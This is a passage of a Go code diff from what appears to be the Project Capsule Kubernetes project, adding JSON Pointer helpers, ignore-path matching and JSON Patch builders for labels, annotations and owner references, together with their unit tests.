    +		key := strings.ReplaceAll(strings.ReplaceAll(raw, "~1", "/"), "~0", "~")
    +
    +		switch node := cur.(type) {
    +		case map[string]any:
    +			next, ok := node[key]
    +			if !ok {
    +				return nil, false
    +			}
    +
    +			cur = next
    +		case []any:
    +			idx, err := strconv.Atoi(key)
    +			if err != nil || idx < 0 || idx >= len(node) {
    +				return nil, false
    +			}
    +
    +			cur = node[idx]
    +		default:
    +			return nil, false
    +		}
    +	}
    +
    +	return cur, true
    +}
    +
    +func JsonPointerSet(obj map[string]any, p string, val any) error {
    +	if p == "" || p == "/" {
    +		return fmt.Errorf("cannot set root with pointer")
    +	}
    +
    +	parts := strings.Split(p, "/")[1:]
    +
    +	cur := obj
    +
    +	for i, raw := range parts {
    +		key := strings.ReplaceAll(strings.ReplaceAll(raw, "~1", "/"), "~0", "~")
    +
    +		last := i == len(parts)-1
    +		if last {
    +			cur[key] = val
    +
    +			return nil
    +		}
    +
    +		nxt, ok := cur[key]
    +		if !ok {
    +			n := map[string]any{}
    +			cur[key] = n
    +			cur = n
    +
    +			continue
    +		}
    +
    +		switch m := nxt.(type) {
    +		case map[string]any:
    +			cur = m
    +		default:
    +			n := map[string]any{}
    +			cur[key] = n
    +			cur = n
    +		}
    +	}
    +
    +	return nil
    +}
    +
    +func JsonPointerDelete(obj map[string]any, p string) error {
    +	if p == "" || p == "/" {
    +		return fmt.Errorf("cannot delete root with pointer")
    +	}
    +
    +	parts := strings.Split(p, "/")[1:]
    +	cur := obj
    +
    +	for i, raw := range parts {
    +		key := strings.ReplaceAll(strings.ReplaceAll(raw, "~1", "/"), "~0", "~")
    +
    +		last := i == len(parts)-1
    +		if last {
    +			delete(cur, key)
    +
    +			return nil
    +		}
    +
    +		nxt, ok := cur[key]
    +		if !ok {
    +			return nil
    +		}
    +
    +		m, ok := nxt.(map[string]any)
    +		if !ok {
    +			return nil
    +		}
    +
    +		cur = m
    +	}
    +
    +	return nil
    +}
    +
    +func PreserveIgnoredPaths(desired, live map[string]any, ptrs []string) {
    +	for _, p := range ptrs {
    +		if v, ok := JsonPointerGet(live, p); ok {
    +			_ = JsonPointerSet(desired, p, v)
    +		} else {
    +			_ = JsonPointerDelete(desired, p)
    +		}
    +	}
    +}
    +
    +func MatchIgnorePaths(rules []IgnoreRule, obj *unstructured.Unstructured) []string {
    +	var out []string
    +
    +	for _, r := range rules {
    +		if !r.Matches(obj) {
    +			continue
    +		}
    +
    +		out = append(out, r.Paths...)
    +	}
    +
    +	return out
    +}
    
  • pkg/runtime/client/ignore_test.go+424 0 added
    @@ -0,0 +1,424 @@
    +// Copyright 2020-2026 Project Capsule Authors
    +// SPDX-License-Identifier: Apache-2.0
    +
    +package client_test
    +
    +import (
    +	"reflect"
    +	"testing"
    +
    +	"github.com/fluxcd/pkg/apis/kustomize"
    +	"k8s.io/apimachinery/pkg/apis/meta/v1/unstructured"
    +
    +	"github.com/projectcapsule/capsule/pkg/runtime/client"
    +)
    +
    +func TestIgnoreRule_Matches(t *testing.T) {
    +	obj := &unstructured.Unstructured{}
    +	obj.SetAPIVersion("apps/v1")
    +	obj.SetKind("Deployment")
    +	obj.SetNamespace("ns1")
    +	obj.SetName("my-deploy")
    +	obj.SetLabels(map[string]string{"app": "demo"})
    +	obj.SetAnnotations(map[string]string{"a": "b"})
    +
    +	t.Run("nil receiver matches all", func(t *testing.T) {
    +		var r *client.IgnoreRule
    +		if !r.Matches(obj) {
    +			t.Fatalf("expected true")
    +		}
    +	})
    +
    +	t.Run("nil target matches all", func(t *testing.T) {
    +		r := &client.IgnoreRule{Paths: []string{"/x"}, Target: nil}
    +		if !r.Matches(obj) {
    +			t.Fatalf("expected true")
    +		}
    +	})
    +
    +	t.Run("matches by kind/name/namespace", func(t *testing.T) {
    +		r := &client.IgnoreRule{
    +			Paths: []string{"/x"},
    +			Target: &kustomize.Selector{
    +				Group:     "apps",
    +				Version:   "v1",
    +				Kind:      "Deployment",
    +				Namespace: "ns1",
    +				Name:      "my-deploy",
    +			},
    +		}
    +		if !r.Matches(obj) {
    +			t.Fatalf("expected true")
    +		}
    +	})
    +
    +	t.Run("does not match when kind differs", func(t *testing.T) {
    +		r := &client.IgnoreRule{
    +			Paths: []string{"/x"},
    +			Target: &kustomize.Selector{
    +				Group:     "apps",
    +				Version:   "v1",
    +				Kind:      "StatefulSet",
    +				Namespace: "ns1",
    +				Name:      "my-deploy",
    +			},
    +		}
    +		if r.Matches(obj) {
    +			t.Fatalf("expected false")
    +		}
    +	})
    +
    +	t.Run("matches by label selector", func(t *testing.T) {
    +		r := &client.IgnoreRule{
    +			Paths: []string{"/x"},
    +			Target: &kustomize.Selector{
    +				Group:         "apps",
    +				Version:       "v1",
    +				Kind:          "Deployment",
    +				LabelSelector: "app=demo",
    +			},
    +		}
    +		if !r.Matches(obj) {
    +			t.Fatalf("expected true")
    +		}
    +	})
    +
    +	t.Run("matches by annotation selector", func(t *testing.T) {
    +		r := &client.IgnoreRule{
    +			Paths: []string{"/x"},
    +			Target: &kustomize.Selector{
    +				Group:              "apps",
    +				Version:            "v1",
    +				Kind:               "Deployment",
    +				AnnotationSelector: "a=b",
    +			},
    +		}
    +		if !r.Matches(obj) {
    +			t.Fatalf("expected true")
    +		}
    +	})
    +
    +	t.Run("invalid regex in selector returns false", func(t *testing.T) {
    +		// jsondiff.NewSelectorRegex treats certain fields as regex; a broken one should error.
    +		r := &client.IgnoreRule{
    +			Paths: []string{"/x"},
    +			Target: &kustomize.Selector{
    +				Kind: "Deployment",
    +				Name: "[", // invalid regex
    +			},
    +		}
    +		if r.Matches(obj) {
    +			t.Fatalf("expected false")
    +		}
    +	})
    +}
    +
    +func Test_jsonPointerGet(t *testing.T) {
    +	obj := map[string]any{
    +		"metadata": map[string]any{
    +			"labels": map[string]any{
    +				"app": "demo",
    +				"a/b": "v",
    +				"t~k": "v2",
    +			},
    +		},
    +		"spec": map[string]any{
    +			"list": []any{
    +				"zero",
    +				map[string]any{"x": "y"},
    +			},
    +		},
    +	}
    +
    +	t.Run("root empty pointer", func(t *testing.T) {
    +		v, ok := client.JsonPointerGet(obj, "")
    +		if !ok {
    +			t.Fatalf("expected ok")
    +		}
    +		if v == nil {
    +			t.Fatalf("expected value")
    +		}
    +	})
    +
    +	t.Run("root slash pointer", func(t *testing.T) {
    +		v, ok := client.JsonPointerGet(obj, "/")
    +		if !ok {
    +			t.Fatalf("expected ok")
    +		}
    +		_, isMap := v.(map[string]any)
    +		if !isMap {
    +			t.Fatalf("expected map root")
    +		}
    +	})
    +
    +	t.Run("simple path", func(t *testing.T) {
    +		v, ok := client.JsonPointerGet(obj, "/metadata/labels/app")
    +		if !ok || v != "demo" {
    +			t.Fatalf("expected demo, got ok=%v v=%v", ok, v)
    +		}
    +	})
    +
    +	t.Run("escaped slash key ~1", func(t *testing.T) {
    +		v, ok := client.JsonPointerGet(obj, "/metadata/labels/a~1b")
    +		if !ok || v != "v" {
    +			t.Fatalf("expected v, got ok=%v v=%v", ok, v)
    +		}
    +	})
    +
    +	t.Run("escaped tilde key ~0", func(t *testing.T) {
    +		v, ok := client.JsonPointerGet(obj, "/metadata/labels/t~0k")
    +		if !ok || v != "v2" {
    +			t.Fatalf("expected v2, got ok=%v v=%v", ok, v)
    +		}
    +	})
    +
    +	t.Run("array index", func(t *testing.T) {
    +		v, ok := client.JsonPointerGet(obj, "/spec/list/0")
    +		if !ok || v != "zero" {
    +			t.Fatalf("expected zero, got ok=%v v=%v", ok, v)
    +		}
    +	})
    +
    +	t.Run("array index into object", func(t *testing.T) {
    +		v, ok := client.JsonPointerGet(obj, "/spec/list/1/x")
    +		if !ok || v != "y" {
    +			t.Fatalf("expected y, got ok=%v v=%v", ok, v)
    +		}
    +	})
    +
    +	t.Run("missing path", func(t *testing.T) {
    +		_, ok := client.JsonPointerGet(obj, "/metadata/labels/nope")
    +		if ok {
    +			t.Fatalf("expected not ok")
    +		}
    +	})
    +
    +	t.Run("bad array index", func(t *testing.T) {
    +		_, ok := client.JsonPointerGet(obj, "/spec/list/nope")
    +		if ok {
    +			t.Fatalf("expected not ok")
    +		}
    +	})
    +
    +	t.Run("out of bounds array index", func(t *testing.T) {
    +		_, ok := client.JsonPointerGet(obj, "/spec/list/99")
    +		if ok {
    +			t.Fatalf("expected not ok")
    +		}
    +	})
    +
    +	t.Run("type mismatch", func(t *testing.T) {
    +		_, ok := client.JsonPointerGet(obj, "/metadata/labels/app/x")
    +		if ok {
    +			t.Fatalf("expected not ok")
    +		}
    +	})
    +}
    +
    +func Test_jsonPointerSet(t *testing.T) {
    +	t.Run("set root fails", func(t *testing.T) {
    +		obj := map[string]any{"a": "b"}
    +		if err := client.JsonPointerSet(obj, "", "x"); err == nil {
    +			t.Fatalf("expected error")
    +		}
    +		if err := client.JsonPointerSet(obj, "/", "x"); err == nil {
    +			t.Fatalf("expected error")
    +		}
    +	})
    +
    +	t.Run("set creates intermediate maps", func(t *testing.T) {
    +		obj := map[string]any{}
    +		if err := client.JsonPointerSet(obj, "/spec/template/metadata/labels/app", "demo"); err != nil {
    +			t.Fatalf("unexpected err: %v", err)
    +		}
    +		v, ok := client.JsonPointerGet(obj, "/spec/template/metadata/labels/app")
    +		if !ok || v != "demo" {
    +			t.Fatalf("expected demo, got ok=%v v=%v", ok, v)
    +		}
    +	})
    +
    +	t.Run("set overwrites non-map intermediate with map", func(t *testing.T) {
    +		obj := map[string]any{
    +			"spec": "not-a-map",
    +		}
    +		if err := client.JsonPointerSet(obj, "/spec/x", "y"); err != nil {
    +			t.Fatalf("unexpected err: %v", err)
    +		}
    +		v, ok := client.JsonPointerGet(obj, "/spec/x")
    +		if !ok || v != "y" {
    +			t.Fatalf("expected y, got ok=%v v=%v", ok, v)
    +		}
    +	})
    +
    +	t.Run("set supports escaped keys", func(t *testing.T) {
    +		obj := map[string]any{}
    +		if err := client.JsonPointerSet(obj, "/metadata/labels/a~1b", "v"); err != nil {
    +			t.Fatalf("unexpected err: %v", err)
    +		}
    +		v, ok := client.JsonPointerGet(obj, "/metadata/labels/a~1b")
    +		if !ok || v != "v" {
    +			t.Fatalf("expected v, got ok=%v v=%v", ok, v)
    +		}
    +	})
    +}
    +
    +func Test_jsonPointerDelete(t *testing.T) {
    +	t.Run("delete root fails", func(t *testing.T) {
    +		obj := map[string]any{"a": "b"}
    +		if err := client.JsonPointerDelete(obj, ""); err == nil {
    +			t.Fatalf("expected error")
    +		}
    +		if err := client.JsonPointerDelete(obj, "/"); err == nil {
    +			t.Fatalf("expected error")
    +		}
    +	})
    +
    +	t.Run("delete existing leaf", func(t *testing.T) {
    +		obj := map[string]any{
    +			"metadata": map[string]any{
    +				"labels": map[string]any{
    +					"app": "demo",
    +				},
    +			},
    +		}
    +		if err := client.JsonPointerDelete(obj, "/metadata/labels/app"); err != nil {
    +			t.Fatalf("unexpected err: %v", err)
    +		}
    +		_, ok := client.JsonPointerGet(obj, "/metadata/labels/app")
    +		if ok {
    +			t.Fatalf("expected deleted")
    +		}
    +	})
    +
    +	t.Run("delete missing path is no-op", func(t *testing.T) {
    +		obj := map[string]any{
    +			"metadata": map[string]any{},
    +		}
    +		if err := client.JsonPointerDelete(obj, "/metadata/labels/app"); err != nil {
    +			t.Fatalf("unexpected err: %v", err)
    +		}
    +	})
    +
    +	t.Run("delete stops on non-map intermediate", func(t *testing.T) {
    +		obj := map[string]any{
    +			"metadata": "not-a-map",
    +		}
    +		if err := client.JsonPointerDelete(obj, "/metadata/labels/app"); err != nil {
    +			t.Fatalf("unexpected err: %v", err)
    +		}
    +		// still unchanged
    +		if obj["metadata"] != "not-a-map" {
    +			t.Fatalf("expected unchanged")
    +		}
    +	})
    +}
    +
    +func Test_preserveIgnoredPaths(t *testing.T) {
    +	t.Run("copies live value into desired when present", func(t *testing.T) {
    +		desired := map[string]any{
    +			"metadata": map[string]any{
    +				"labels": map[string]any{
    +					"keep": "x",
    +				},
    +			},
    +		}
    +		live := map[string]any{
    +			"metadata": map[string]any{
    +				"labels": map[string]any{
    +					"keep":  "x",
    +					"other": "y",
    +				},
    +			},
    +		}
    +
    +		client.PreserveIgnoredPaths(desired, live, []string{"/metadata/labels/other"})
    +
    +		v, ok := client.JsonPointerGet(desired, "/metadata/labels/other")
    +		if !ok || v != "y" {
    +			t.Fatalf("expected preserved value y, got ok=%v v=%v", ok, v)
    +		}
    +	})
    +
    +	t.Run("deletes desired value when missing from live", func(t *testing.T) {
    +		desired := map[string]any{
    +			"metadata": map[string]any{
    +				"labels": map[string]any{
    +					"toDelete": "x",
    +				},
    +			},
    +		}
    +		live := map[string]any{
    +			"metadata": map[string]any{
    +				"labels": map[string]any{},
    +			},
    +		}
    +
    +		client.PreserveIgnoredPaths(desired, live, []string{"/metadata/labels/toDelete"})
    +
    +		_, ok := client.JsonPointerGet(desired, "/metadata/labels/toDelete")
    +		if ok {
    +			t.Fatalf("expected key to be deleted in desired")
    +		}
    +	})
    +
    +	t.Run("handles nested missing parents by creating them on set", func(t *testing.T) {
    +		desired := map[string]any{}
    +		live := map[string]any{
    +			"spec": map[string]any{
    +				"template": map[string]any{
    +					"metadata": map[string]any{
    +						"annotations": map[string]any{
    +							"a": "b",
    +						},
    +					},
    +				},
    +			},
    +		}
    +
    +		client.PreserveIgnoredPaths(desired, live, []string{"/spec/template/metadata/annotations/a"})
    +
    +		v, ok := client.JsonPointerGet(desired, "/spec/template/metadata/annotations/a")
    +		if !ok || v != "b" {
    +			t.Fatalf("expected b, got ok=%v v=%v", ok, v)
    +		}
    +	})
    +}
    +
    +func Test_matchIgnorePaths(t *testing.T) {
    +	obj := &unstructured.Unstructured{}
    +	obj.SetAPIVersion("apps/v1")
    +	obj.SetKind("Deployment")
    +	obj.SetNamespace("ns1")
    +	obj.SetName("my-deploy")
    +	obj.SetLabels(map[string]string{"app": "demo"})
    +
    +	rules := []client.IgnoreRule{
    +		{
    +			Paths: []string{"/a"},
    +			// nil target => matches all
    +		},
    +		{
    +			Paths: []string{"/b", "/c"},
    +			Target: &kustomize.Selector{
    +				Group:     "apps",
    +				Version:   "v1",
    +				Kind:      "Deployment",
    +				Namespace: "ns1",
    +				Name:      "my-deploy",
    +			},
    +		},
    +		{
    +			Paths: []string{"/nope"},
    +			Target: &kustomize.Selector{
    +				Kind: "StatefulSet",
    +			},
    +		},
    +	}
    +
    +	out := client.MatchIgnorePaths(rules, obj)
    +	want := []string{"/a", "/b", "/c"}
    +
    +	if !reflect.DeepEqual(out, want) {
    +		t.Fatalf("unexpected paths:\nwant=%v\ngot =%v", want, out)
    +	}
    +}
    
  • pkg/runtime/client/patch.go+285 0 added
    @@ -0,0 +1,285 @@
    +// Copyright 2020-2026 Project Capsule Authors
    +// SPDX-License-Identifier: Apache-2.0
    +
    +//nolint:dupl
    +package client
    +
    +import (
    +	"context"
    +	"encoding/json"
    +	"fmt"
    +	"strings"
    +
    +	metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
    +	"k8s.io/apimachinery/pkg/types"
    +	"sigs.k8s.io/controller-runtime/pkg/client"
    +
    +	"github.com/projectcapsule/capsule/pkg/api/meta"
    +)
    +
    +type JSONPatch struct {
    +	Operation JSONPatchOperation `json:"op"`
    +	Path      string             `json:"path"`
    +	Value     any                `json:"value,omitempty"`
    +}
    +
    +type JSONPatchOperation string
    +
    +const (
    +	JSONPatchAdd     JSONPatchOperation = "add"
    +	JSONPatchReplace JSONPatchOperation = "replace"
    +	JSONPatchRemove  JSONPatchOperation = "remove"
    +)
    +
    +func (j JSONPatchOperation) String() string {
    +	return string(j)
    +}
    +
    +func JSONPatchesToRawPatch(patches []JSONPatch) (patch []byte, err error) {
    +	return json.Marshal(patches)
    +}
    +
    +func ApplyPatches(
    +	ctx context.Context,
    +	c client.Client,
    +	obj client.Object,
    +	patches []JSONPatch,
    +	manager string,
    +) (err error) {
    +	if len(patches) == 0 {
    +		return nil
    +	}
    +
    +	rawPatch, err := JSONPatchesToRawPatch(patches)
    +	if err != nil {
    +		return err
    +	}
    +
    +	return c.Patch(
    +		ctx,
    +		obj,
    +		client.RawPatch(types.JSONPatchType, rawPatch),
    +		client.FieldOwner(manager),
    +	)
    +}
    +
    +func AddLabelsPatch(labels map[string]string, keys map[string]string) []JSONPatch {
    +	if len(keys) == 0 {
    +		return nil
    +	}
    +
    +	patches := make([]JSONPatch, 0, len(keys)+1)
    +
    +	// If labels is nil, /metadata/labels likely doesn't exist.
    +	// JSONPatch add/replace to /metadata/labels/<k> requires /metadata/labels to exist.
    +	if labels == nil {
    +		patches = append(patches, JSONPatch{
    +			Operation: JSONPatchAdd,
    +			Path:      "/metadata/labels",
    +			Value:     map[string]string{},
    +		})
    +
    +		labels = map[string]string{} // local view for replace/add decision
    +	}
    +
    +	for key, val := range keys {
    +		op := JSONPatchAdd
    +
    +		if existing, ok := labels[key]; ok {
    +			if existing == val {
    +				continue
    +			}
    +
    +			op = JSONPatchReplace
    +		}
    +
    +		patches = append(patches, JSONPatch{
    +			Operation: op,
    +			Path:      fmt.Sprintf("/metadata/labels/%s", strings.ReplaceAll(key, "/", "~1")),
    +			Value:     val,
    +		})
    +	}
    +
    +	return patches
    +}
    +
    +func AddAnnotationsPatch(annotations map[string]string, keys map[string]string) []JSONPatch {
    +	if len(keys) == 0 {
    +		return nil
    +	}
    +
    +	patches := make([]JSONPatch, 0, len(keys)+1)
    +
    +	// If annotations is nil, /metadata/annotations likely doesn't exist.
    +	// JSONPatch add/replace to /metadata/annotations/<k> requires /metadata/annotations to exist.
    +	if annotations == nil {
    +		patches = append(patches, JSONPatch{
    +			Operation: JSONPatchAdd,
    +			Path:      "/metadata/annotations",
    +			Value:     map[string]string{},
    +		})
    +		annotations = map[string]string{}
    +	}
    +
    +	for key, val := range keys {
    +		op := JSONPatchAdd
    +
    +		if existing, ok := annotations[key]; ok {
    +			if existing == val {
    +				continue
    +			}
    +
    +			op = JSONPatchReplace
    +		}
    +
    +		patches = append(patches, JSONPatch{
    +			Operation: op,
    +			Path:      fmt.Sprintf("/metadata/annotations/%s", strings.ReplaceAll(key, "/", "~1")),
    +			Value:     val,
    +		})
    +	}
    +
    +	return patches
    +}
    +
    +// PatchRemoveLabels returns a JSONPatch array for removing labels with matching keys.
    +func PatchRemoveLabels(labels map[string]string, keys []string) []JSONPatch {
    +	var patches []JSONPatch
    +
    +	if labels == nil {
    +		return patches
    +	}
    +
    +	for _, key := range keys {
    +		if _, ok := labels[key]; ok {
    +			path := fmt.Sprintf("/metadata/labels/%s", strings.ReplaceAll(key, "/", "~1"))
    +			patches = append(patches, JSONPatch{
    +				Operation: JSONPatchRemove,
    +				Path:      path,
    +			})
    +		}
    +	}
    +
    +	return patches
    +}
    +
    +// PatchRemoveAnnotations returns a JSONPatch array for removing annotations with matching keys.
    +func PatchRemoveAnnotations(annotations map[string]string, keys []string) []JSONPatch {
    +	var patches []JSONPatch
    +
    +	if annotations == nil {
    +		return patches
    +	}
    +
    +	for _, key := range keys {
    +		if _, ok := annotations[key]; ok {
    +			path := fmt.Sprintf("/metadata/annotations/%s", strings.ReplaceAll(key, "/", "~1"))
    +			patches = append(patches, JSONPatch{
    +				Operation: JSONPatchRemove,
    +				Path:      path,
    +			})
    +		}
    +	}
    +
    +	return patches
    +}
    +
    +func AddOwnerReferencePatch(
    +	ownerrefs []metav1.OwnerReference,
    +	ownerreference *metav1.OwnerReference,
    +) []JSONPatch {
    +	if ownerreference == nil {
    +		return nil
    +	}
    +
    +	patches := make([]JSONPatch, 0, 2)
    +
    +	// Ensure parent exists if missing (nil slice usually means field absent)
    +	if ownerrefs == nil {
    +		patches = append(patches, JSONPatch{
    +			Operation: JSONPatchAdd,
    +			Path:      "/metadata/ownerReferences",
    +			Value:     []metav1.OwnerReference{},
    +		})
    +
    +		patches = append(patches, JSONPatch{
    +			Operation: JSONPatchAdd,
    +			Path:      "/metadata/ownerReferences/-",
    +			Value:     ownerreference,
    +		})
    +
    +		return patches
    +	}
    +
    +	for i := range ownerrefs {
    +		if ownerrefs[i].UID != ownerreference.UID {
    +			continue
    +		}
    +
    +		existing := ownerrefs[i]
    +
    +		if meta.LooseOwnerReferenceEqual(existing, *ownerreference) {
    +			return nil
    +		}
    +
    +		patches = append(patches, JSONPatch{
    +			Operation: JSONPatchReplace,
    +			Path:      fmt.Sprintf("/metadata/ownerReferences/%d", i),
    +			Value:     ownerreference,
    +		})
    +
    +		return patches
    +	}
    +
    +	// Otherwise append
    +	patches = append(patches, JSONPatch{
    +		Operation: JSONPatchAdd,
    +		Path:      "/metadata/ownerReferences/-",
    +		Value:     ownerreference,
    +	})
    +
    +	return patches
    +}
    +
    +func RemoveOwnerReferencePatch(
    +	ownerRefs []metav1.OwnerReference,
    +	toRemove *metav1.OwnerReference,
    +) []JSONPatch {
    +	if toRemove == nil {
    +		return nil
    +	}
    +
    +	if len(ownerRefs) == 0 {
    +		return nil
    +	}
    +
    +	idx := -1
    +
    +	for i := range ownerRefs {
    +		if meta.LooseOwnerReferenceEqual(ownerRefs[i], *toRemove) {
    +			idx = i
    +
    +			break
    +		}
    +	}
    +
    +	if idx == -1 {
    +		return nil
    +	}
    +
    +	patches := []JSONPatch{
    +		{
    +			Operation: JSONPatchRemove,
    +			Path:      fmt.Sprintf("/metadata/ownerReferences/%d", idx),
    +		},
    +	}
    +
    +	if len(ownerRefs) == 1 {
    +		patches = append(patches, JSONPatch{
    +			Operation: JSONPatchRemove,
    +			Path:      "/metadata/ownerReferences",
    +		})
    +	}
    +
    +	return patches
    +}
    
  • pkg/runtime/client/patch_test.go+424 0 added
    @@ -0,0 +1,424 @@
    +// Copyright 2020-2026 Project Capsule Authors
    +// SPDX-License-Identifier: Apache-2.0
    +
    +package client_test
    +
    +import (
    +	"fmt"
    +	"reflect"
    +	"testing"
    +
    +	metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
    +	"k8s.io/apimachinery/pkg/types"
    +
    +	"github.com/projectcapsule/capsule/pkg/runtime/client"
    +)
    +
    +func TestAddLabelsPatch_MapInput(t *testing.T) {
    +	t.Run("nil labels => add op", func(t *testing.T) {
    +		var labels map[string]string // nil
    +
    +		patches := client.AddLabelsPatch(labels, map[string]string{
    +			"a": "1",
    +		})
    +
    +		want := []client.JSONPatch{
    +			{Operation: "add", Path: "/metadata/labels", Value: map[string]string{}},
    +			{Operation: "add", Path: "/metadata/labels/a", Value: "1"},
    +		}
    +
    +		if !reflect.DeepEqual(patches, want) {
    +			t.Fatalf("unexpected patches\nwant=%v\ngot =%v", want, patches)
    +		}
    +	})
    +
    +	t.Run("existing key same value => no patch", func(t *testing.T) {
    +		labels := map[string]string{"a": "1"}
    +
    +		patches := client.AddLabelsPatch(labels, map[string]string{
    +			"a": "1",
    +		})
    +
    +		if len(patches) != 0 {
    +			t.Fatalf("expected no patches, got %v", patches)
    +		}
    +	})
    +
    +	t.Run("existing key different value => replace op", func(t *testing.T) {
    +		labels := map[string]string{"a": "1"}
    +
    +		patches := client.AddLabelsPatch(labels, map[string]string{
    +			"a": "2",
    +		})
    +
    +		want := []client.JSONPatch{
    +			{Operation: "replace", Path: "/metadata/labels/a", Value: "2"},
    +		}
    +
    +		if !reflect.DeepEqual(patches, want) {
    +			t.Fatalf("unexpected patches\nwant=%v\ngot =%v", want, patches)
    +		}
    +	})
    +
    +	t.Run("missing key => add op", func(t *testing.T) {
    +		labels := map[string]string{"a": "1"}
    +
    +		patches := client.AddLabelsPatch(labels, map[string]string{
    +			"b": "2",
    +		})
    +
    +		want := []client.JSONPatch{
    +			{Operation: "add", Path: "/metadata/labels/b", Value: "2"},
    +		}
    +
    +		if !reflect.DeepEqual(patches, want) {
    +			t.Fatalf("unexpected patches\nwant=%v\ngot =%v", want, patches)
    +		}
    +	})
    +
    +	t.Run("key contains slash => path escaped with ~1", func(t *testing.T) {
    +		labels := map[string]string{}
    +
    +		patches := client.AddLabelsPatch(labels, map[string]string{
    +			"projectcapsule.dev/tenant": "wind",
    +		})
    +
    +		want := []client.JSONPatch{
    +			{Operation: "add", Path: "/metadata/labels/projectcapsule.dev~1tenant", Value: "wind"},
    +		}
    +
    +		if !reflect.DeepEqual(patches, want) {
    +			t.Fatalf("unexpected patches\nwant=%v\ngot =%v", want, patches)
    +		}
    +	})
    +}
    +
    +func TestAddAnnotationsPatch_MapInput(t *testing.T) {
    +	t.Run("nil annotations => add op", func(t *testing.T) {
    +		var annotations map[string]string // nil
    +
    +		patches := client.AddAnnotationsPatch(annotations, map[string]string{
    +			"a": "1",
    +		})
    +
    +		want := []client.JSONPatch{
    +			{Operation: "add", Path: "/metadata/annotations", Value: map[string]string{}},
    +			{Operation: "add", Path: "/metadata/annotations/a", Value: "1"},
    +		}
    +
    +		if !reflect.DeepEqual(patches, want) {
    +			t.Fatalf("unexpected patches\nwant=%v\ngot =%v", want, patches)
    +		}
    +	})
    +
    +	t.Run("existing key same value => no patch", func(t *testing.T) {
    +		annotations := map[string]string{"a": "1"}
    +
    +		patches := client.AddAnnotationsPatch(annotations, map[string]string{
    +			"a": "1",
    +		})
    +
    +		if len(patches) != 0 {
    +			t.Fatalf("expected no patches, got %v", patches)
    +		}
    +	})
    +
    +	t.Run("existing key different value => replace op", func(t *testing.T) {
    +		annotations := map[string]string{"a": "1"}
    +
    +		patches := client.AddAnnotationsPatch(annotations, map[string]string{
    +			"a": "2",
    +		})
    +
    +		want := []client.JSONPatch{
    +			{Operation: "replace", Path: "/metadata/annotations/a", Value: "2"},
    +		}
    +
    +		if !reflect.DeepEqual(patches, want) {
    +			t.Fatalf("unexpected patches\nwant=%v\ngot =%v", want, patches)
    +		}
    +	})
    +
    +	t.Run("missing key => add op", func(t *testing.T) {
    +		annotations := map[string]string{"a": "1"}
    +
    +		patches := client.AddAnnotationsPatch(annotations, map[string]string{
    +			"b": "2",
    +		})
    +
    +		want := []client.JSONPatch{
    +			{Operation: "add", Path: "/metadata/annotations/b", Value: "2"},
    +		}
    +
    +		if !reflect.DeepEqual(patches, want) {
    +			t.Fatalf("unexpected patches\nwant=%v\ngot =%v", want, patches)
    +		}
    +	})
    +
    +	t.Run("key contains slash => path escaped with ~1", func(t *testing.T) {
    +		annotations := map[string]string{}
    +
    +		patches := client.AddAnnotationsPatch(annotations, map[string]string{
    +			"example.com/foo": "bar",
    +		})
    +
    +		want := []client.JSONPatch{
    +			{Operation: "add", Path: "/metadata/annotations/example.com~1foo", Value: "bar"},
    +		}
    +
    +		if !reflect.DeepEqual(patches, want) {
    +			t.Fatalf("unexpected patches\nwant=%v\ngot =%v", want, patches)
    +		}
    +	})
    +}
    +
    +func TestPatchRemoveLabels_MapInput(t *testing.T) {
    +	t.Run("nil labels => no patch", func(t *testing.T) {
    +		var labels map[string]string // nil
    +
    +		patches := client.PatchRemoveLabels(labels, []string{"a"})
    +		if len(patches) != 0 {
    +			t.Fatalf("expected no patches, got %v", patches)
    +		}
    +	})
    +
    +	t.Run("existing key => remove patch", func(t *testing.T) {
    +		labels := map[string]string{"a": "1"}
    +
    +		patches := client.PatchRemoveLabels(labels, []string{"a"})
    +
    +		want := []client.JSONPatch{
    +			{Operation: "remove", Path: "/metadata/labels/a"},
    +		}
    +
    +		if !reflect.DeepEqual(patches, want) {
    +			t.Fatalf("unexpected patches\nwant=%v\ngot =%v", want, patches)
    +		}
    +	})
    +
    +	t.Run("missing key => no patch", func(t *testing.T) {
    +		labels := map[string]string{"a": "1"}
    +
    +		patches := client.PatchRemoveLabels(labels, []string{"nope"})
    +		if len(patches) != 0 {
    +			t.Fatalf("expected no patches, got %v", patches)
    +		}
    +	})
    +
    +	t.Run("key contains slash => path escaped with ~1", func(t *testing.T) {
    +		labels := map[string]string{"projectcapsule.dev/tenant": "wind"}
    +
    +		patches := client.PatchRemoveLabels(labels, []string{"projectcapsule.dev/tenant"})
    +
    +		want := []client.JSONPatch{
    +			{Operation: "remove", Path: "/metadata/labels/projectcapsule.dev~1tenant"},
    +		}
    +
    +		if !reflect.DeepEqual(patches, want) {
    +			t.Fatalf("unexpected patches\nwant=%v\ngot =%v", want, patches)
    +		}
    +	})
    +}
    +
    +func TestPatchRemoveAnnotations_MapInput(t *testing.T) {
    +	t.Run("nil annotations => no patch", func(t *testing.T) {
    +		var annotations map[string]string // nil
    +
    +		patches := client.PatchRemoveAnnotations(annotations, []string{"a"})
    +		if len(patches) != 0 {
    +			t.Fatalf("expected no patches, got %v", patches)
    +		}
    +	})
    +
    +	t.Run("existing key => remove patch", func(t *testing.T) {
    +		annotations := map[string]string{"a": "1"}
    +
    +		patches := client.PatchRemoveAnnotations(annotations, []string{"a"})
    +
    +		want := []client.JSONPatch{
    +			{Operation: "remove", Path: "/metadata/annotations/a"},
    +		}
    +
    +		if !reflect.DeepEqual(patches, want) {
    +			t.Fatalf("unexpected patches\nwant=%v\ngot =%v", want, patches)
    +		}
    +	})
    +
    +	t.Run("missing key => no patch", func(t *testing.T) {
    +		annotations := map[string]string{"a": "1"}
    +
    +		patches := client.PatchRemoveAnnotations(annotations, []string{"nope"})
    +		if len(patches) != 0 {
    +			t.Fatalf("expected no patches, got %v", patches)
    +		}
    +	})
    +
    +	t.Run("key contains slash => path escaped with ~1", func(t *testing.T) {
    +		annotations := map[string]string{"example.com/foo": "bar"}
    +
    +		patches := client.PatchRemoveAnnotations(annotations, []string{"example.com/foo"})
    +
    +		want := []client.JSONPatch{
    +			{Operation: "remove", Path: "/metadata/annotations/example.com~1foo"},
    +		}
    +
    +		if !reflect.DeepEqual(patches, want) {
    +			t.Fatalf("unexpected patches\nwant=%v\ngot =%v", want, patches)
    +		}
    +	})
    +}
    +
    +func TestRemoveOwnerReferencePatch(t *testing.T) {
    +	t.Parallel()
    +
